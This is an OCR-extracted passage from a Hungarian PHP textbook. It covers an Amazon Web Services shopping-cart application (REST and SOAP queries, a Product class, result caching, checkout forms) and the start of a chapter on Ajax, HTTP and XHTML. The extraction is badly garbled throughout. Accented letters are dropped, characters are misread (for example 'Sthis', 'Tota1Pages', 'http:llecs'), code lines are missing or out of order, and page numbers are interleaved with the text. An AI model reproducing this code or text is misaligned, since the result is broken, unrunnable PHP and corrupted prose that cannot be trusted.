Sthis->Searchlndex= $mode; $this->Sort= 'salesrank'; $this->Tota1Pages= $page; if(METHOD=='SOAP') $soapclient = new nusoap client( 'http:llecs.amazonaws.comiAWSECommerceServiceiAWSECommerceService.wsdl', $soap_proxy = $soapclient->getProxy(); $request = array ('Service' => Sthis->Service, 'BrowseNode' => Sthis->BrowseNode, $this->Tota1Pages); $parameters = array('AWSAccessKeyid' => DEVTAG, 'Request'=>array($request)); ll a tnyleges soap lekrdezs vgrehajtsa $result = $soap_proxy->ItemSearch($parameters); if(isSOAPError($result)) return false; 'AssociateTag' => ASSOCIATEID, 'Searchindex' => Sthis->Searchindex, 'Operation' => $this->Operation, 'TotalPages' => 'wsdl');
$this->totalResults = Sresult['TotalResults'l;
33
as $product)
= new Product($product);
ll URL ltrehozsa s a parseXML meghvsa letlts s rtelmezs cljbl $this->url = "http:llecs.amazonaws.comloncalxml?". "Service=".$this->Service. "&Operation=".$this->Operation. "&AssociateTag=".Sthis->AssociateTag. "&AWSAccessKeyid=".$this->AWSAccessKeyid. "&BrowseNode=".$this->BrowseNode. "&ResponseGroup=".$this->ResponseGroup. "&Searchlndex=".Sthis->Searchlndex. "&Sort=".$this->Sort. "&TotalPages=".Sthis->TotalPages; $this->parseXML();
581
return $this->products;
ll Az ASIN birtokban krjk le a nagy kp URL-jt! ll Karakterlncot ad vissza function getimageUrlLarge($ASIN, $mode)
{ {
$product->imageURLLarge();
return $this->products(0)->imageURLLarge();
ll A megadott ASIN-hoz tartoz termk visszakeresse a lekrdezs vgrehajtsval ll A constants.php fjlban vlthatunk XMLIHTTP s SOAP kztt
$this->Service = "AWSECommerceService"; $this->Operation = "ItemLookup"; $this->AWSAccessKeyid = DEVTAG; $this->AssociateTag = ASSOCIATEID; $this->ResponseGroup = "Large"; $this->IdType = "ASIN"; $this->Itemid = $ASIN;
33
'wsdl');
if(METHOD=='SOAP')
$soap_proxy = $soapclient->getProxy();
=> $this->Service,
$this->ResponseGroup,
582
33.
fejezet
$this->products[O] = new Product($result['Items'] ['!tem']); $this->totalResults=l; unset($soapclient); unset($soap_proxy); else ll URL ltrehozsa s a parseXML meghvsa letlts s rtelmezs cljbl $this->url = "http:llecs.amazonaws.comloncalxml?". "Service=".$this->Service. "&Operation=".$this->Operation. "&AssociateTag=".$this->AssociateTag. "&AWSAccessKeyld=".$this->AWSAccessKeyld. "&ResponseGroup=".$this->ResponseGroup. "&IdType=".$this->IdType. "&Itemld=".$this->Itemid; $this->parseXML(); return $this->products[O];
ll A kulcsszavas keress eredmnyekppen kapott knyvekkel teli oldalt ll kapjuk vissza a lekrdezs futtatsval ll A constants.php fjlban vlthatunk XMLIHTTP s SOAP kztt ll Product objektumok tmbjt adja vissza function keywordSearch($search, $page, $mode 'Books')
33
$this->AssociateTag = ASSOCIATEID; $this->ResponseGroup = "Large"; $this->Searchlndex= $made; $this->Keywords= $search; if(METHOD=='SOAP') $soapclient = new nusoap client( 'http:llecs.amazonaws.comiAWSECommerceServiceiAWSECommerceService.wsdl', $soap_proxy = $soapclient->getProxy(); $request = array ('Service' => $this->Service, 'ResponseGroup' => $this->ResponseGroup, 'Keywords' => $this->Keywords); 'AssociateTag' => ASSOCIATEID, 'Operation' => $this->Operation, 'wsdl');
$parameters = array('AWSAccessKeyld' => DEVTAG, 'Request'=>array($request)); ll a tnyleges soap lekrdezs vgrehajtsa $result = $soap_proxy->ItemSearch($parameters); if(isSOAPError($result))
583
return false;
$this->tota1Results = $result['Tota1Results'];
as $product}
= new Product($product};
unset($soapclient}; unset($soap_proxy};
$this->url
$this->parseXML(};
return $this->products;
{
mert esetenknt ez nem fog mkdni
ll hibk elnyomsa,
{
htha csak foglalt volt a kiszolgl! @simplexml_load_file ($this->url};
33
if(!$xml}
return false;
= new Product($productXML};
?>
Ez az igen hasznos osztly pontosan azt a munlcit vgzi el, amire az osztlyok valk. Szp fekete dobozba zrja az Amazonhoz szksges felletet. Az Amazonhoz val kapcsolds az osztlyon bell a REST s a SOAP mdszerrel is ltrehozhat. Az osz tly ltal tnylegesen alkalmazorr mdszert a constants.php fjlban bellitorr globlis METHOD lland rtke hatrozza meg. Kezdjk azzal, hogy visszatrnk a kategrin belli keress pldjra! A kvetkezkppen hasznljuk ekkor az
AmazonResultSet osztlyt:
584
33. fejezet
Az osztly nem rendelkezik konstruktorral, gy trjnk r egyenesen a browseNodeSearch () metdusra! Ennek hrom paramtert adunk t: a bennnket rdekl browsenode szmt (ami mondjuk a Business & Investing vagy a Computers & Internet kategrinak felel meg), a:z; oldal szmt, ami a visszakeresni kvnt rekordokat hatrozza meg, illetve a mdot, ami az rintett termktpusra utal. A 33.9 pldakdban a kdnak ezt a metdust tartalmaz rszlett olvashatjuk.
33.9 pldakd: A browseNodeSearch() metdus -Keress kategriban
ll A lekrdezs vgrehajtsval a kategria termkeivel teli oldalt kapunk vissza ll A constants.php fjlban vlthatunk XMLIHTTP s SOAP kztt ll Product objektumok tmbjt adja vissza function browseNodeSearch($browseNode, $page, $mode)
DEVTAG;
ASSOCIATEID;
$this->BrowseNode = $browseNode; $this->ResponseGroup = "Large"; $this->Searchindex= $mode; $this->Sort= 'salesrank'; $this->Tota1Pages= $page; if(METHOD=='SOAP') $soapclient = new nusoap client( 'http:llecs.amazonaws.comiAWSECommerceServiceiAWSECommerceService.wsdl', $soap_proxy = $soapclient->getProxy(); 'wsdl');
33
$request = array ('Service' => $this->Service, 'Searchindex' => $this->Searchindex, $this->Tota1Pages); $parameters = array('AWSAccessKeyid' => DEVTAG, 'Request'=>array($request)); ll a tnyleges soap lekrdezs vgrehajtsa $result = $soap_proxy->ItemSearch($parameters); if(isSOAPError($result)) return false;
585
unset($soap_proxy);
else
{
meghvsa letlts s rtelmezs cljbl
$this->url = "http:llecs.amazonaws.comloncalxml?". "Service=".$this->Service. "&Operation=".$this->Operation. "&AssociateTag=".$this->AssociateTag. "&AWSAccessKeyid=".$this->AWSAccessKeyid. "&BrowseNode=".$this->BrowseNode. "&ResponseGroup=".$this->ResponseGroup. "&Searchindex=".$this->Searchindex. "&Sort=".$this->Sort. "&TotalPages=".$this->TotalPages;
$this->parseXML();
return $this->products;
A METHOD konstans rtktl fggen a metdus REST-en vagy SOAP-on keresztl hajtja vgre a lekrdezst,de term szetesen mindkt krsben ugyanazokat az informcikat kldi el. A fggvny elejn az albbi sorok lthatk, amelyek a krs vltozit, illetve azok rtkt adjk meg:
$this->Service = "AWSECommerceService"; $this->Operation = "ItemSearch"; $this->AWSAccessKeyid = DEVTAG; $this->AssociateTag = ASSOCIATEID; $this->BrowseNode = $browseNode; $this->ResponseGroup = "Large"; $this->Searchindex= $mode; $this->Sort= "salesrank"; $this->Tota1Pages= $page;
A fenti rtkek kzl nhnyat- pldul a $browseNode, a $mode s a $page vltozban szerepl rtket- az alkal mazs ms rszeiben lltunk be. Ms rtkek,gy a DEVTAG s az ASSOCIATEID pedig konstansok. Megnt msok- gy a $this->Service, a $this->Operation s a $this->Sort is- statikusak. A minimlisan szksges vltozk kre a krs tpustl fgg; a fenti pldban egy adott kategria eladsi szmok szerint sorba rendezett knyveit bngsszk. Ms vltozkat hasznlunk, ha adott knyvre vagy kulcssz alapjn keresnk. A vlto zk listjt az AmazonResultSet.php fjl browseNodeSearch (), ASINSearch (),illetve keywordSearch () fgg vnynek elejn lthatjuk. Az egyes krstpusok esetn elvrt vltozkrl az AWS Developer's Guide-ban tallunk rszletes tmutatst. A kvetkezkben azt vizsgljuk meg, hogyan hozzuk ltre a browseNodeSearch () fggvnyben a REST s a SOAP le krdezsre irnyul krst. A krs ltrehozsnak formja koncepcijt tekintve azASINSearch ( ) s a keywordSearch () fggvnyben is hasonl.
33
586
33. fejezet
Az alap URL jelen esetben a htcp:/ l ecs.amazonaws.com/onca/xml. A vltozk nevt s rtkt ehhez hozzfzve GET lekrdezsi karakterlncot hozunk ltre. Ezek teljes dokumentcijt, illerve a tbbi lehetsges vltozt az AWS Developer's Guide-ban talljuk. A paramterek belltsa utn meghvjuk a
$this->parseXML();
metdust, hogy elvgezze a lnyegi munkt. A parseXML () metdus kdjt a 33.10 pldakdban lthatjuk.
33.10 pldakd: A ll
parseXML () metdus- A lekrdezs ltal visszakldtt
XML rtelmezse
function parseXML ()
{
mert esetenknt ez nem fog mkdni
ll
hibk elnyomsa,
{
htha csak foglalt volt a kiszolgl!
ll
return false;
= new Product($productXML);
33
A simplexml_load_file () vgzi el szmunkra a munka rdemi rszt. Az XML tartalmat f:ijlbl vagy- mint pl dnkban- URL-bl olvassa be. Objekrumorientlt felletet (interfszt) nyjt az XML dokumenrumban lv adatokhoz s struktrhoz. Ez a fellet hasznos lenne ugyan, de mivel a REST vagy SOAP mdszerrel rkezett adatokat kezelni kpes interfszfggvnyekre van szksgnk, sajt objekrumorientlt felletet hozunk ltre ugyanezekhez az adatokhoz (amelyek a Product osztly pldnyaiban helyezkednek el). Figyeljk meg: a REST mdszernl rpusknyszertssel PHP vltozt pusokk alaktjuk az XML attribrumait! A Product osztly elssorban a privt tagjaiban trolt adatok elrsre szolgl elrfggvnyeket tartalmaz, gy felesleges lenne irt a teljes fjlt szerepeltetni. Az osztly s a konstruktor szerkezett azonban rdemes megvizsglni. A 33.11 pldakd a Product osztly defincijnak egy rszt tartalmazza.
33.11 pldakd: A Product osztly magba zrja az egyes Amazon-termkekrl meglv adatainkat
class Product
private $ASIN; private $productName; private $releaseDate; private $manufacturer; private $imageUrlMedium; private $imageUrlLarge; private $listPrice; private $ourPrice; private $salesRank; private $availability;
587
private $avgCustomerRating; private $authors = array(); private $reviews = array(); private $similarProducts private $soap; = array();
function
__
construct($xml)
if(METHOD=='SOAP')
$xml['ItemAttributes']['Title'];
if (is_array($xml['ItemAttributes']['Author'])
!= "")
else
{
$xml[ 'IternAttributes' l ['Author' l;
$this->authors[]
$this->releaseDate
$xml['ItemAttributes']['PublicationDate'];
$xml['IternAttributes' l ['ListPrice' l ['ForrnattedPrice' l; str replace('$', str_replace(', ', ' ', '', $this->listPrice); $this->listPrice);
floatval($this->listPrice);
floatval($this->ourPrice);
33
$this->salesRank
$xml['SalesRank'];
$reviewCount =
0;
if (is array($xml['CustomerReviews']['Review'])) foreach($xml['CustomerReviews'] ['Review'] as $review) $this->reviews[$reviewCount]['Rating'] = $review['Rating']; $this->reviews[$reviewCount] ['Summary'] $review['Summary'];
$similarProductCount
O;
588
33. fejezet
$similar['Title']; $review['ASIN'];
else
$this->productName
(string)$xml->ItemAttributes->Title;
(string)$author;
$this->releaseDate
(string)$xml->ItemAttributes->PublicationDate;
=
$this->manufacturer
(string)$xml->ItemAttributes->Manufacturer;
=
$this->imageUrlMedium $this->imageUrlLarge
=
(string)$xml->Mediumlmage->URL; (string)$xml->Largelmage->URL;
floatval($this->listPrice);
floatval($this->ourPrice);
33
$this->salesRank
(string)$xml->SalesRank;
=
$this->availability
(string)$xml->Offers->Offer->OfferListing->Availability;
=
$this->avgCustomerRating
(float)$xml->CustomerReviews->AverageRating;
$reviewCount
0;
(float)$review->Rating; (string)$review->Summary;
=
(string)$review->Content;
$similarProductCount
O;
(string)$similar->Title; (string)$similar->ASIN;
589
return count($this->similarProducts);
function similarProduct($i)
return $this->similarProducts[$i];
function customerReviewRating($i)
function customerReviewSummary($i)
{
&&
if(isset($this->productName)
($this->ourPrice>0.001)
&&
isset($this->ASIN)) {
33
return false;
function ASIN()
return padASIN($this->ASIN);
function imageURLMedium()
return $this->imageUrlMedium;
function imageURLLarge()
return $this->imageUrlLarge;
function productName()
return $this->productName;
590
33.
fejezet
function ourPrice ()
{
'');
return number_format($this->ourPrice,2,
function listPrice()
{
'');
function authors()
return false;
function releaseDate()
return false;
function avgCustomerRating()
return false;
33
function manufacturer()
return false;
return false;
function availability ()
l else {
591
return false;
?>
Ez a konstruktor is krfle beviteli adatot fogad, de egyetlen alkalmazsfelletet hoz ltre. Lthatjuk, hogy mg a kezel kd egy rszt ltalnosabb tehetjk, egyes trkksebb attribtumoknak - pldul az rtkelseknek (review) is - a vlasztort mdszertl fggen eltr lehet a nevk. Miutn az adatok visszakeresse rdekben vgigmentnk a fenti kdokon, most visszaadjuk a vezrlst a getARS(), illetve ezltal a showBrowseNode () fggvnynek. A kvetkez lps gy nz ki:
showSummary($ars->products(), $browseNode); $page, $mode, $ars->tota1Results(),
A showSummary() fggvny pusztn megjelenti az AmazonResult Set objektumban lv adatokat, ahogy azt a korbbi brkon mr lthattuk. Egyszersge miatt rszletesebben nem foglalkozunk a fggvnnyeL
33
Nincsen szksgnk tovbbi fggvnyekre; a SOAP kliens mindent elvgez helyettnk. Elszr is ltrehozzuk a SOAP kliens egy pldnyt:
$soapclient = new nusoap_client( 'http:llecs.amazonaws.comiAWSECommerceServiceiAWSECommerceService.wsdl', 'wsdl');
Itt kt paramtert adunk t a kliensnek. Az els a szolgltats WSDL-lersa, a msodik pedig azt kzli a SOAP klienssel, hogy WSDL URL-rl van sz. gy is eljrhatrunk volna, hogy csak egy paramtert adunk t: a szolgltats vgpontjt, am nem ms, mnt a SOAP szerver kzvetlen URL-je.
592
33. fejezet
A kvetkez kdsorbl lthatjuk, hogy j okunk volt mgis az elbbi mdszerr vlasztani:
$soap_proxy = $soapclient->getProxy(};
Ez a sor a WSDL dokumentumban lv informcik alapjn egy osztlyt hoz ltre. Ennek az osztlynak, vagyis a SOAP proxynak kr, a Web Service merdusainak megfelel metdusa lesz. Ez jelentsen megknnyti letnket, mivel gy tudunk kapcsolatba lpni a Web Service szolgltatssal, mintha az helyi PHP osztly lenne. Ezt kveten a browsenode lekrdezsnek tadand krselemek tmbjt hozzuk ltre:
$request = array ('Service' => $this->Service, 'BrowseNode' => $this->BrowseNode, 'Operation' => $this->Operation, 'ResponseGroup' => $this->ResponseGroup, 'Sort' => $this->Sort,
Kt msik elemet kell mg tadni a krsnek: az AWSAccessKeyiD-t s az AssociateTaget. Ezeket, illetve a $request tmb elemeit egy msik, $parameters nev tmbbe helyezzk:
$parameters = array('AWSAccessKeyid' => DEVTAG, 'Request'=>array($request}}; 'AssociateTag' => ASSOCIATEID,
Ekkor aproxy osztlyt hasznlva egyszeren meghvjuk a Web Service metdusait, s a paramterek tmbjt acljuk t nekik:
$result = $soap_proxy->ItemSearch($parameters};
A $result tmbben eltrolt adatok egy tmb, amit Product objektumknt kzvetlenl az AmazonResultSet osztly
products tmbjben trolharunk el.
ll ha megtallhat a gyorsttrban
return $cache; else $ars
{
=
new AmazonResultSet;
33
if($type
==
'browse'}
cache($type,
$parameters,
$ars};
return $ars;
A SOAP s az XML gyorsttrazst is ezzel a fggvnnyel vgezzk el. A kpek gyorsttrba helyezshez ugyanak kor egy msik fggvnyt is hasznlunk. Kezdskppen elszr meghvjuk a cached(} fggvnyt, hogy kidertsk, a krt
AmazonResul tSet objektum gyorsttrba lett-e mr helyezve. Ha igen, akkor ahelyett, hogy j krst intznnk az Ama
593
Vizsgljuk meg kzelebbrl ezt a kt fggvnyt: cached () s cache () ! Ezek a 33.12 pldakdban lthat fggvnyek valstjk meg az Amazon licencfelttelei kztt szerepl gyorsttrazst.
33.12 pldakd: A cached () s ll ellenrizzk, ll ha igen, ll ha nem,
if($type
a
function cached($type,
==
'browse')
=
$filename
CACHE.'/search.'.$parameters['search'l.'.'.$parameters['page'l.'.' .$parameters['mode'l.'.dat';
if($type == 'search') $filename = CACHE. 'lsearch.' . $parameters['search'l. '. '.$parameters ['page'l.'.' .$parameters['mode'l.'.dat';
$data = serialize($data);
$fp
fopen($filename,
'wb'); $data)==-!))
if(!$fp echo
ll
(fwrite($fp,
('<p>Error,
fclose($fp);
594
33. fejezet
A kdot tfutva lthatjuk, hogy a gyorsttrba kerl fjlokat olyan fjlnvvel troljuk el, ami a lekrdezs tpusbl s a lekrdezs paramttereibl ll. A cache () fggvny szerializlva (sorosrva) trolja az eredmnyeket, a cached () fggvny pedig visszalltja a szerializlt eredmnyeket. A cached () fggvny a licencfeltteleknek megfelelen fellrja az egy rnl rgebbi adatokat. A serialize() fggvny trolhat karakterlncc alaktja a trolt programadatokat. Az trtnik, hogy trolhat formra alaktjuk az AmazonResult Set objektumokat. Az unserialize () fggvny meghvsa ennek pont fordtottjt vgzi: a memriban lv adatstruktrra lltja vissza az eltrolt adatokat. Ne fele<ljk, hogy a szerializlt karakterlnc objektumm visszalltshoz a fjlnak tartalmaznia kell az osztlydefincit! Alkalmazsunkban a msodperc trt rszig tart az eredmnyhalmaz gyorsttrbl val visszakeresse, az l lekrdezs ugyanakkor akr tz msodpercet is ignybe vehet.
33
$products[)
= $ars->getProduct(O);
ll az Amazon.com kosrhoz csatlakoz rlap ltrehozsa echo "<form method=\"POST\" action=\"http:llwww.amazon.comlgplawslcart/add.html\">"; foreach($cart as $ASIN=>$product) $quantity
=
echo "<input type=\"hidden\" name=\"Subscriptionid\" value=\"".DEVTAG."\"> <input type=\"hidden\" name=\"AssociateTag\" value=\"".ASSOCIATEID."\"> <input type=\"image\" src=\"images/checkout.gif\" name=\"submit.add-to-cart\" value=\"Buy From Amazon.com\"> When you have finished shopping press checkout to add all the items in your Tahuayo eart to your Amazon eart and complete your purchase. </form> <br/><a href=\"index.php?action=emptycart\"><img
595
src=\"images/emptycart.gif\" alt=\"Empty eart\" border=\"0\"></a> If you have finished with this eart, </form> <br /> <hl>eart eontents</hl>"; showSummary($products, you can empty it of all items.
l, count($products), $mode,
0,
true);
ll a kosr llandan a kpernyn lv rvid sszefoglalsnak megjelenitse ll csak az utols hrom, function showSmalleart() global $ SESSION; echo "<table border=\"1\" cellpadding=\"1\" cellspacing=\"0\"> <tr><td class=\"cartheading\">Your eart $". number forrnat( eartPrice (), kosrba tett termket mutatja
2). "</td></tr>
<tr><td class=\"cart\">".carteontents()."</td></tr>"; ll az Amazon.com kosrhoz csatlakoz rlap echo "<form method=\"POST\" action=\"http://www.amazon.comlgp/awslcart/add.html\"> <tr><td class=\"cartheading\"><a href=\"index.php?action=showcart\"><img src=\"images/details.gif\" border=\"0\"><la>"; foreach($_SESSION['cart'] as $ASIN=>$product) $quantity = $_SESSION['cart'] [$ASIN]['quantity']; echo "<input type=\"hidden\" name=\"ASIN.".$ASIN."\" value=\"".$ASIN."\">"; echo "<input type=\"hidden\" name=\"Quantity.".$ASIN."\" value=\"".$quantity."\">"; echo "<input type=\"hidden\" name=\"Subscriptionid\" value=\"".DEVTAG."\"> <input type=\"hidden\" name=\"AssociateTag\" value=\"".ASSOeiATEID."\"> <input type=\"image\" src=\"imageslcheckout.gif\" name=\"submit.add-to-cart\" value=\"Buy From Amazon.com\"> </td></tr> </form> <ltable>";
33
ll mutassuk a kosrhoz utoljra hozzadott ttelt! function carteontents() global $ SESSION; $display = array_slice($ SESSION['cart'], $display = array_reverse($display, $result = ''; $counter = 0; ll ha tl hossz a termknv, rvidtsk le' true);
-3,
3);
596
33.fezet
{
substr($product['name'l,
$result
O,
$counter++;
ll res kosr esetn res sorok hozzadsa, ll a kperny lland legyen for(;$counter<3; $counter++) $result .= "<br l>";
hogy
return $result;
ll kosrban lv termkek teljes rnak kiszmtsa function cartPrice() global $ SESSION; $total = 0.0; foreach($_SESSION['cart'l as $product) $price = str_replace('$', '', $product['price'l) ;
$total += $price*$product['quantity'l;
return $total;
ll egy termk kosrba raksa ll egyelre nem lehetsges egyszerre egy termknl tbbet a kosrba tenni function addToCart(&$cart, $ASIN, $mode)
33
{
hogy az ASIN kd rvnyes-e, s mennyi az ahhoz tartoz r!
ll ellenrizzk, $ars
=
$product = $ars->ASINSearch($ASIN,
if($product->valid ())
ll egy adott ttel sszes pldnynak trlse a kosrbl function deleteFromCart(&$cart, unset ($cart[$ASINl); $ASIN)
?>
597
Ennl a kosrnl a korbbiakhoz kpest mshogyan hajtunk vgre nhny dolgot. Nzzk meg pldul az addToCart () fggvnyt! Amikor megprblunk betenni valamit a kosrba, ellenrizzk az ASIN kd rvnyessgt, s kiketessk az aktu lis ( vagy legalbbis gyorsttrazott) rat. A legrdekesebb krds a kvetkez: amikor a vsrlk fizetni akarnak, hogyan juttatjuk el adataikat azAmazonnak?
Fizets az Amazonnl
Nzzk meg kzelebbrl a 33.13 pldakdban lthat showeart () fggvnyt, annak is az albbi rszt:
ll az Amazon.com kosrhoz csatlakoz rlap ltrehozsa
echo "<form method=\"POST\" action=\"http://www.amazon.com/gp/aws/cart/add.html\">";
echo "<input type=\"hidden\" name=\"Subscriptionld\" value=\"".DEVTAG."\"> <input type=\"hidden\" name=\"AssociateTag\" value=\"".ASSOCIATEID."\"> <input type=\"image\" src=\"images/checkout.gif\" name=\"submit.add-to-cart\" value=\"Buy From Amazon.com\"> When you have finished shopping press checkout to add all the items in your Tahuayo eart to your Amazon eart and complete your purchase. </form>
A fizets gomb olyan rlapgomb, amely azAmazon oldalon lv kosrhoz kapcsolja a vsrl kosart. POST vltozkknt elkldjk azASIN kdokat, a mennyisgeket s a partnerazonostnkat (Associate ID). s hkuszpkusz: kszen vagyunk! A gombra kattints eredmnyt a korbban mr bemutatott 33.5 brn lthatjuk. Ennek a felletnek az a problm:ija, hogy csak egyirny kommunikcit tesz lehetv.AzAmazon oldalon lv kosrhoz hozzadhatunk ugyan tteleket, m eltvoltani nem rucijuk ket. Ez azt jelenti, hogy nem tudunk oldalunk s azAmazon k ztt oda-vissza vltogatni annak veszlye nlkl, hogy megduplzzuk a kasarunkban lv ttelek pldnyszmt.
33
598
33. fejezet
A projekt tovbbfejlesztse
A projekt egyik kzenfekv tovbbfejlesztsi lehetsge a Tahuayo oldalon elrhet keressi tpusok kibvtse. Ha tovbbi tletekre van s:zksgnk, kattintsunk az Amazon Web Services Resource Centerben elrhet, innovatv mintaalkalmazsok ra mutat hivatkozsokra! Tovbbi informcirt olvassunk bele az Articles and Tutorials (Cikkek s oktatanyagok), illetve a Community Code (Kzssgi kd) szakasz tartalmba is! A kosr funkci megvalstsa az Amazontl lekrt adatokkal a leginkbb magtl rtetd feladat, m messze nem ez az egyetlen fejlesztsi lehetsg.
Tovbbi olvasnival
Rengeteg knyv s online informciforrs tallhat az XML s a Web Services tmakrben. Kivl kiindulpontot jelent a W3C weboldala. rdemes megtekinteni tovbb az XML Working Group oldalt (http:/ /www.w3.org/XML/Core/) s a Web Services Activity oldalt is (http://www.w3.org/2002/ws/).
33
34
Web 2.Q ...s alkalmazsok fejlesztse Ajax ...programozssal
A vilghl szveget, illetve kpekre, hang- s videofjlokra mutat hivatkozsokat tartalmaz statikus oldalak sorozataknt indult. A web jelents rsze a mai napig megrizte ezen llapott, ugyanakkor egyre tbb, szveggel s multimdis rartalom mal teli oldalt dinamikusan, szerveroldali programozssal lltanak el; mi is pontosan ezt tettk a knyv eddig ltott alkal mazsaiban. m a Web 2.0 eljvetele egyttal arra sztnzte a fejlesztker, hogy j mdszereket dolgozzanak ki arra, hogy miknt rudnak a felhasznlk klcsnhatsba lpni a webszerverekkel s az informcit trol adatbzisokkal. Az egyik gyor san terjed mdszer az Ajax- (AsynchronousJavaScript and XML, vagyis aszinkronJavaScript s XML) programozs, amivel interaktv alkalmazsokat hozharunk ltre, ugyanakkor cskkenthetjk a statikus elemek visszakeressre fordtand idt.
megrteni a Web 2.0 Joga/mt, olvassuk el Tim O'Reilly dolgozatt a tmban, amely -
E fejezetben ismertetjk az Ajax-programozs alapjait, s megmurarjuk, hogy integrlhatunk alkalmazsainkba nhny egyszer Ajax elemet. A fejezetben nem trekedhetnk a teljessgre, m az itt olvasortak megfelel alapot teremthetnek e tech nolgik ksbbi hasznlathoz. A kvetkez fbb tmakrkkel foglalkozunk: Ajax alkalmazsok ltrehozsa szkripr- s ler nyelvek tvzsveL Az Ajax alkalmazs legfontosabb rszei: krs intzse kiszolglhoz s a kiszolgl vlasznak rtelmezse. Korbbi fejezetek alkalmazsainak mdostsa Ajaxot tmogat (Ajax-enabled) weboldalak ltrehozsra. Kdknyvtrak elrhetsge, illetve tovbbi informcik a tmban.
Mi azAjax:
sem nem programozsi nyelv, sem nem technolgia. Az Ajax-programozs ezzel szemben jellernzen az XML formzs adattvitelt tartalmaz, kliensoldaliJavaScript-programozs s a- pldul PHP-vel vgzett- szerveroldali programozs kombincija. A fentieken tlmenen XHTML-t s CSS-r hasznlunk az Ajaxor tmogat tartalmak formz sra s megjelentsre. Az Ajax-programozs vgeredmnyben cltharbb s gyorsabb felhasznli felleret eredmnyez az adott alkalmazsban - gondoljunk csak a Facebook, a Flickr vagy a Web 2.0 ltal elrrhe kerlt egyb kzssgi oldalak felleteirel Ezek az alkal mazsok lehetv teszik a felhasznlnak, hogy az egsz oldal jbli berltse vagy megjelentse nlkl hajtsanak vgre kln bz feladatokat, s pontosan itt kerl a kpbe az Ajax. A kliensoldali programozs a szerveroldali programozs egy kis rszt hvja csak meg, pusztn a felhasznl bngszjben megjelentett aprnyi terleten, s csak ez az, amit jra kell rajzolni. Az ilyen mvelet a klnll alkalmazsok mveleteinek eredmnyt minrzza, m webes krnyezetben teszi mindezt. J plda erre, amikor azt hasonltjuk ssze, hogy rnilyen tblzatkezel alkalmazsban dolgozni , illetvernilyen a webolda lakon megtekinteni egy adattal teli tblzatot. Az offline alkalmazsban a felhasznlnak lehetsge van a cellkat egyenknt mdostani vagy kpleteket alkalmazni az egyes cellkban, rendezheti az oszlopokban lv adatokat, s mindezt anlkl teheti meg, hogy el kellene hagynia az eredeti felletet. Ha statikus webes krnyezetben kattinrunk az egyes oszlopokat rendez hi vatkozsokra, j krst kell kldeni a kiszolglnak, amire a kiszolgl j eredmnyt kld a bngsznek, az oldalt pedig jra meg kell jelenteni a felhasznl szmra. Ajaxor tmogat webes krnyezetben az adott oszlopot gy lehet a felhasznl kr sre sorba rendezni, hogy nem kell a teljes oldalt jra betlteni. A mosr kvetkez oldalakon az Ajax hasznlata esetn szba jv technolgikat tekintjk t. Az itt olvashat lers tvolrl sem teljes kr, de ha tovbbi informcira van szksgnk, a megadott forrsokon elindulharunk majd.
Az Ajax nmagban
600
34. fejezet
Tovbbi, gyakran hasznlt mdszer a POST s a HEAD. Opcionlis fejlcsarok paramter: rtk formban, pldul gy:
User-agent: Mozilla/5.0 Gecko/2008070208 (Windows; U; Windows NT 6.0; en-US; rv:l.9.0.1) Firefox/3.0.1
s/vagy
Accept: text/plain, text/html
A HTTP fejlcek listjt a http://www.w3.org/Protocols/rfc2616/ oldalon talljuk. res sor Opcionlisan az zenet tartalma A HTTP krst intz kliensnek HTTP vlaszt kell kapnia. Egy HTTP vlasz ltalnos formtuma a kvetkez: Nyit sor, ms nven llapotsor, amely az aktulisan hasznlt HTTP verzijt s a vlaszkdot tartalmazza, pldul:
HTTP/1.1 200 OK
Az llapotkd els szmjegye ( jelen esetben a 200-on bell a 2-es) a vlaszra utal. Az l-essel kezdd llapatkdok tjkoztat jellegek, a 2-essel kezddk a sikeres vlaszt, a 3-assal kezddk az tirnytst jelzik, a 4-essel kezddk olyan klienshibkat, mint a hinyz elem (404), az 5-ssel kezddk pedig olyan szerverhibkat, mint pldul a hibsan kialaktott kd (500). A HTTP llapatkdok listjt a http://www.w3.org/Protocols/rfc2616/ oldalon talljuk. Opcionlis fejlcsarok paramter: rtk formban, pldul gy:
Server: Apache/2.2.9 Last-Modified: Fri,
D HTML s XHTML
A Dinamikus HTML (DHTML) a statikus HTML, a Caseaciing Style Sheets (egymsba gyazott stluslapok, CSS) s a JavaScript kombinlt alkalmazsra utal. Ebben a Document Object Model (dokumentumobjektum-modell, DOM) segt sgvel vltoztatjuk meg ltszlag statikus weboldal megjelenst azt kveten, hogy annak minden eleme betltdtt. Els
34
rnzsre ez a mkds igen hasonl az Ajaxot tmogat oldalakhoz, s bizonyos szempontbl ez igaz is. A klnbsg a kliens s a kiszolgl kztti aszinkron kapcsolatban rejlik - erre az aszinkron kapcsolatra utal az Ajax els"!\' betje. Noha egy DHTML ltal vezrelt oldal dinamikus viselkedst mutathat a navigcit segt legrdl menkben vagy a ko rbbi vlasztsoktl fggen vltoz rlapelemekben, az ezekhez szksges sszes adat mr korbban vissza lett keresve. Ha pldul olyan DHTML oldalt terveznk, amely valamilyen szveg els rszt jelenti meg, arnikor a felhasznl egy hivatkozs vagy gomb fl viszi az egeret, s ugyanennek a szvegnek a msodik rszt mutatja, amikor msik hivatkozs vagy gomb fl viszi, a bngsz ekkorra mr mindkt szvegrszt betlttte. A fejleszt rvidke JavaScript kdot hasznlt, ami a felhasznl egernek mozgstl fggen be- vagy kikapcsolja a visibility (lthatsg) CSS attribtumot. Ajaxot tmogat oldal esetn a ktfle szvegnek fenntartott terletet minden bizonnyal a kiszolglhoz intzett tvoli szkriptmeghvs eredmnyeknt tl tennk fel, mikzben az oldal tbbi rsze statikus maradna. Az Extensible Hypertext Markup Language (kiterjeszthet hiperszveg-ler nyelv, XHTML) abban a tekintetben a HTML-hez s a DHTML-hez hasonlan mkdik, hogy mindhrmat klienseszkzn (webes bngszn, telefonon vagy egyb kzi eszkzn) megjelentend tartalom lersra hasznljuk, s a megjelents jobb szablyozhatsga rdekben meg engedik a CSS integrcijt. Az XHTML s a HTML kztti klnbsgek kz tartozik az, ahogyan az X HTML alkalmaz kodik az XML szintaktikjhoz, s ahogyan az XHTML - a szabvnyos bngszeszkzkn tlmenen - XML eszkzk kel is rtelmezhet.
601
Az XHTML-ben teljes egszben kisbecvel rjuk az elemeket (pldul <head></head> a <HEAD></HEAD> helyett) s az attribtumokat (pldul href a HREF helyett). Ezen kvl minden attribtumrtket egyszeres vagy ktszeres idzjelek kz kell rni, s minden elemet egyrtelmen be kell zrni- cmkepr esetn zr cmkvel, egyetlen (singleton) elem esetn pedig pldul <img /> vagy <br/> cmkvel. Az XHTML-rl a http://www.w3.org/TR/xhtmll/ oldalon olvashatunk bvebben.
{
